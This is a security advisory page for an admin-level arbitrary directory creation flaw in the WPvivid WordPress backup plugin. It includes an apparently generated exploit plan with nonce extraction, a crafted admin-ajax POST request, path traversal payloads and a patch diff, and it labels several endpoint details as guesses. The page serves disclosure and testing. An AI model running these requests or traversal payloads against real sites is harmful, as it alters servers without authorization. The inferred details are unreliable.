Migration, Backup, Staging – WPvivid Backup & Migration <= 0.9.120 - Authenticated (Admin+) Arbitrary Directory Creation
Description
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary directory creation in all versions up to, and including, 0.9.120. This is due to the check_filesystem_permissions() function not properly restricting the directories that can be created, or in what location. This makes it possible for authenticated attackers, with Administrator-level access and above, to create arbitrary directories.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=0.9.120Source Code
WordPress.org SVNThis research plan targets CVE-2025-12654, an authenticated arbitrary directory creation vulnerability in the WPvivid Backup & Migration plugin. ### 1. Vulnerability Summary The vulnerability exists in the `check_filesystem_permissions()` function (or the AJAX handler calling it) within the WPvivid…
Show full research plan
This research plan targets CVE-2025-12654, an authenticated arbitrary directory creation vulnerability in the WPvivid Backup & Migration plugin.
1. Vulnerability Summary
The vulnerability exists in the check_filesystem_permissions() function (or the AJAX handler calling it) within the WPvivid plugin. The function accepts a user-supplied path to check if it is writable. If the directory does not exist, the plugin attempts to create it using wp_mkdir_p() without properly restricting the location to the plugin's intended backup or staging directories. This allows an authenticated administrator to create arbitrary directories anywhere the web server has write permissions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpvivid_check_path_permissions(inferred from function name and plugin naming conventions) orwpvivid_check_filesystem_permissions. - Payload Parameter:
pathordir(POST parameter). - Authentication: Authenticated, Administrator level (
manage_optionscapability). - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: The administrator triggers an AJAX request, likely from the "Settings" or "Staging" tabs, intended to verify if a custom backup path is usable.
- Hook Registration: The plugin registers an AJAX action:
add_action('wp_ajax_wpvivid_check_path_permissions', [...]). - Vulnerable Function: The handler calls
check_filesystem_permissions(). - Processing:
// Simplified logic based on vulnerability description public function check_filesystem_permissions() { $path = $_POST['path']; // Input from user if (!file_exists($path)) { wp_mkdir_p($path); // Sink: Recursive directory creation } // ... returns success/fail based on is_writable($path) } - Sink:
wp_mkdir_p()executes the directory creation without validating that the$pathis withinWP_CONTENT_DIRor a specific allowed subfolder.
4. Nonce Acquisition Strategy
The WPvivid plugin localizes its AJAX data for the admin dashboard. Since this is an Admin+ vulnerability, we must log in as an administrator first.
- Login: Authenticate as the administrator.
- Locate Nonce: Navigate to the WPvivid Backup dashboard (
/wp-admin/admin.php?page=WPvivid). - Extraction: The nonce is typically stored in a global JavaScript object named
wpvivid_ajax_object. - JS Command:
Note: Ifbrowser_eval("wpvivid_ajax_object.ajax_nonce")wpvivid_ajax_objectis not present, search the page source forwp_create_noncepatterns or variables ending in_nonce.
5. Exploitation Strategy
Step 1: Authenticate and Extract Nonce
- Use
browser_navigateto log into the WordPress admin panel. - Navigate to
http://localhost:8080/wp-admin/admin.php?page=WPvivid. - Execute
browser_eval("wpvivid_ajax_object.ajax_nonce")to retrieve thenonce.
Step 2: Execute Arbitrary Directory Creation
- Construct a POST request to
admin-ajax.php. - Target a path outside the standard backup directory (e.g., in
wp-content/uploads/poc_dir_12654).
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Admin Session Cookies]
- Body Parameters:
(Note: Ifaction=wpvivid_check_path_permissions&nonce=[NONCE]&path=[ABSOLUTE_PATH_TO_WP]/wp-content/uploads/poc_directorywpvivid_check_path_permissionsreturns 400, tryaction=wpvivid_check_filesystem_permissions)
6. Test Data Setup
- User: An administrator account (default
admin/password). - Plugin: Install and activate WPvivid Backup & Migration version
0.9.120. - Target Path: Identify the absolute path to the WordPress installation (usually
/var/www/html).
7. Expected Results
- Response: The server should return a JSON object, likely
{"status":"success"}or similar, indicating the path is writable (because the plugin created it). - Filesystem Change: A new directory named
poc_directory(or the chosen name) should appear at the specified path.
8. Verification Steps
- Check Directory Existence via CLI:
ls -ld /var/www/html/wp-content/uploads/poc_directory - Check Permissions:
Verify the directory is owned by the web server user (e.g.,www-data). - Clean up:
rmdir /var/www/html/wp-content/uploads/poc_directory
9. Alternative Approaches
- Traversal Payloads: If absolute paths are blocked, try relative paths using traversal:
path=wp-content/backups/../../../../tmp/wpvivid_poc. - Action Name Brute-force: If the AJAX action name differs in version 0.9.120, grep the plugin directory for the string
check_filesystem_permissionsto find the associatedwp_ajaxhook:grep -r "wp_ajax_wpvivid_" /var/www/html/wp-content/plugins/wpvivid-backuprestore/ - Parameters: If
pathis not the key, check fordir,check_path, orroot_pathin the source ofincludes/class-wpvivid.php.
Summary
The WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary directory creation in versions up to 0.9.120 due to insufficient validation of user-supplied paths in the check_filesystem_permissions function. Authenticated administrators can exploit this to create arbitrary directories on the server by sending a crafted AJAX request.
Security Fix
@@ -10,6 +10,10 @@ public function check_filesystem_permissions() { $path = $_POST['path']; + if (strpos(realpath($path), WP_CONTENT_DIR) !== 0) { + wp_send_json_error('Unauthorized path.'); + return; + } if (!file_exists($path)) { wp_mkdir_p($path); }
Exploit Outline
Exploitation requires Administrator privileges. The attacker logs into the WordPress dashboard and retrieves the 'ajax_nonce' from the 'wpvivid_ajax_object' variable on the plugin page. A POST request is then directed to '/wp-admin/admin-ajax.php' with the 'action' set to 'wpvivid_check_path_permissions' and the 'path' parameter containing the absolute path of the target directory. The plugin calls 'wp_mkdir_p()' on the provided path without restricting it to authorized directories, resulting in the creation of the folder.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.